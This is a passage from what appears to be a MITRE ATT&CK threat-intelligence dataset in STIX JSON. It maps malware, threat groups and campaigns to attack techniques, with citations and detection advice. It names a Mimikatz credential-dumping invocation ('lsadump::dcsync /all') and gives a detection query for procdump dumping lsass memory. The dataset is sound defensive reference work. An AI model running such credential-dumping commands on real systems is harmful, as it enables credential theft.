2019)","relationship_type":"uses","source_ref":"malware--5af7a825-2d9f-400d-931a-e00eb9e27f48","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--29d1fe5a-4ea4-4fb2-8b64-afcceee45d10","created":"2023-03-29T15:44:08.652Z","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T15:44:08.652Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can collect information about running processes.(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--29d285b9-7787-4e42-927b-c45277cbeca8","created":"2022-06-15T18:12:18.351Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes to Registry keys (ex: HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default) and associated values that may be malicious attempts to conceal adversary network connection history.","modified":"2022-06-15T18:12:18.351Z","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--29d3798c-dc27-4950-abc4-30b48608a746","created":"2019-04-17T13:46:38.807Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cofense Astaroth Sept 2018","description":"Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/"},{"source_name":"Cybereason Astaroth Feb 2019","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:03:49.409Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) collects the machine name and keyboard language from the system. (Citation: Cofense Astaroth Sept 2018)(Citation: Cybereason Astaroth Feb 2019)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--29d7545b-e5da-43ec-a491-2f8645f2de97","created":"2024-03-25T21:12:22.256Z","revoked":false,"external_references":[{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T21:12:22.256Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) creates inbound rules on the compromised email accounts of security personnel to automatically delete emails from vendor security products.(Citation: MSTIC Octo Tempest Operations October 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--29d8831b-42fb-4da2-aa43-7181073d5d79","created":"2024-02-14T20:20:48.622Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-02T21:47:10.526Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) is distributed in phishing emails containing links to distribute malicious VBS or MSI files.(Citation: Trellix Darkgate 2023) [DarkGate](https://attack.mitre.org/software/S1111) uses applications such as Microsoft Teams for distributing links to payloads.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29dcecc6-83ea-4e82-b368-b54812157b41","type":"relationship","created":"2019-10-15T21:08:31.593Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","source_name":"ESET Machete July 2019"}],"modified":"2019-10-15T21:15:20.164Z","description":"[Machete](https://attack.mitre.org/software/S0409) has been packed with NSIS.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29e33373-f05e-421b-9b5d-fc2d617b36af","type":"relationship","created":"2020-05-06T20:40:19.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T20:40:19.179Z","description":"[Attor](https://attack.mitre.org/software/S0438)'s dispatcher can establish persistence via adding a Registry key with a logon script HKEY_CURRENT_USER\\Environment \"UserInitMprLogonScript\" .(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29e9bfd8-e2d3-4e25-8683-6605d99538de","type":"relationship","created":"2020-08-31T15:06:48.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-08-31T15:06:48.172Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) malware has used rundll32 to launch additional malicious components.(Citation: ESET Gamaredon June 2020)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29f12e79-a73e-4660-aefd-40dee902fefa","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor for unusual kernel driver installation activity ","source_ref":"x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29f2ee6a-682d-4812-b7d6-ff00cabf09dc","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Catchamas April 2018","description":"Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.","url":"https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"}],"modified":"2020-03-16T16:28:16.059Z","description":"[Catchamas](https://attack.mitre.org/software/S0261) collects keystrokes from the victim’s machine.(Citation: Symantec Catchamas April 2018)","relationship_type":"uses","source_ref":"malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--29f40ca0-8255-44f3-afea-8facfd150314","created":"2023-08-02T18:41:01.306Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T21:05:47.052Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has attempted to obtain credentials from OpenSSH, realvnc, and PuTTY.(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)\n","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a02ac13-c551-45ad-a4bc-2641d7f182ff","created":"2022-09-27T18:17:35.491Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:17:35.491Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used [Mimikatz](https://attack.mitre.org/software/S0002) with the `privilege::debug` and `lsadump::dcsync /all` flags to dump account credentials.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a04cfdd-a27a-498c-bbe2-8677a13811e0","type":"relationship","created":"2021-06-10T15:33:58.024Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-10T15:33:58.024Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) has used UPX packers for its payload DLL.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2a0a9b85-5cb1-430b-8376-bab13b26cd29","created":"2022-03-30T14:26:51.869Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity.","modified":"2022-04-20T13:14:35.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--66531bc6-a509-4868-8314-4d599e91d222","target_ref":"attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a13b64a-2173-4565-aca6-bbf3edfdc499","created":"2023-03-17T15:32:35.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T15:03:09.660Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) created fake email accounts to correspond with fake LinkedIn personas; [Lazarus Group](https://attack.mitre.org/groups/G0032) also established email accounts to match those of the victim as part of their BEC attempt.(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a2007d0-4bdc-4013-8cb0-8d01c9e34b3d","type":"relationship","created":"2020-03-02T14:27:01.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-02T14:27:01.155Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a220ca3-88f4-40eb-8041-184c412950d4","type":"relationship","created":"2017-05-31T21:33:27.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"},{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-02T14:55:19.356Z","description":"(Citation: Baumgartner Naikon 2015)(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a25ebc1-6c8e-4fd6-8ce1-339f0de199f0","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T13:33:33.955Z","description":"Monitor for newly executed processes that may be indicative of credential dumping.\n\nAnalytic 1 - Unexpected process creation related to credential dumping.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode=4688 Image=\"*procdump.exe\" CommandLine IN (\"* -ma lsass*\"))\nOR \n(index=security sourcetype=\"linux_secure\" (key=\"cmdline\" value IN (\"*procdump* -ma /proc/$(pgrep lsass)\")) (key=\"exe\" value=\"*procdump\"))\nOR\n(index=security sourcetype=\"macOS:UnifiedLog\" process=\"*procdump\" command=\"* -ma /proc/$(pgrep lsass)\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a26d848-2dc2-4339-92e4-2ac707878f2e","created":"2024-03-01T20:56:29.207Z","revoked":false,"external_references":[{"source_name":"NCSC et al APT29 2024","description":"UK National Cyber Security Center et al. (2024, February). SVR cyber actors adapt tactics for initial cloud access. Retrieved March 1, 2024.","url":"https://www.ic3.gov/Media/News/2024/240226.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T20:56:29.207Z","description":"[APT29](https://attack.mitre.org/groups/G0016) uses stolen tokens to access victim accounts, without needing a password.(Citation: NCSC et al APT29 2024)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a27a98e-ee19-49f3-96e4-a5c9ee6e65ed","type":"relationship","created":"2021-09-07T13:43:36.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:09.745Z","description":"[Transparent Tribe](https://attack.mitre.org/groups/G0134) has compromised domains for use in targeted malicious campaigns.(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a28ee8a-0ecd-43da-a4f8-a653ef5fd123","created":"2023-01-23T19:51:09.234Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-24T22:45:57.521Z","description":"[Prestige](https://attack.mitre.org/software/S1058) has leveraged the CryptoPP C++ library to encrypt files on target systems using AES and appended filenames with `.enc`.(Citation: Microsoft Prestige ransomware October 2022)","relationship_type":"uses","source_ref":"malware--1da748a5-875d-4212-9222-b4c23ab861be","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a2b6def-5d29-41f7-b274-64bed33eb8ed","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-17T00:54:45.774Z","description":"[Dipsind](https://attack.mitre.org/software/S0200) can download remote files.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--e170995d-4f61-4f17-b60e-04f9a06ee517","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a32c434-c3ef-42ee-a0b6-c64c589355c3","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2019-04-24T23:43:08.261Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194)'s Get-MicrophoneAudio Exfiltration module can record system microphone audio.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a37062f-9174-47b3-8c1f-2e32db19db1e","created":"2023-07-27T20:42:20.304Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T13:48:58.588Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has utilized `nmap` for reconnaissance efforts. [FIN13](https://attack.mitre.org/groups/G1016) has also scanned for internal MS-SQL servers in a compromised network.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a37ddb3-56ef-4c2d-bec7-d6060eb0215a","type":"relationship","created":"2019-04-29T15:54:23.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.","url":"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets","source_name":"Symantec Chafer Dec 2015"},{"description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.","url":"https://securelist.com/chafer-used-remexi-malware/89538/","source_name":"Securelist Remexi Jan 2019"},{"source_name":"Symantec Chafer February 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."}],"modified":"2020-05-22T19:37:14.601Z","description":"(Citation: Symantec Chafer Dec 2015)(Citation: Securelist Remexi Jan 2019)(Citation: Symantec Chafer February 2018)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a3a4c9d-36d5-42c9-9375-063772d70e88","created":"2022-01-10T19:52:49.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 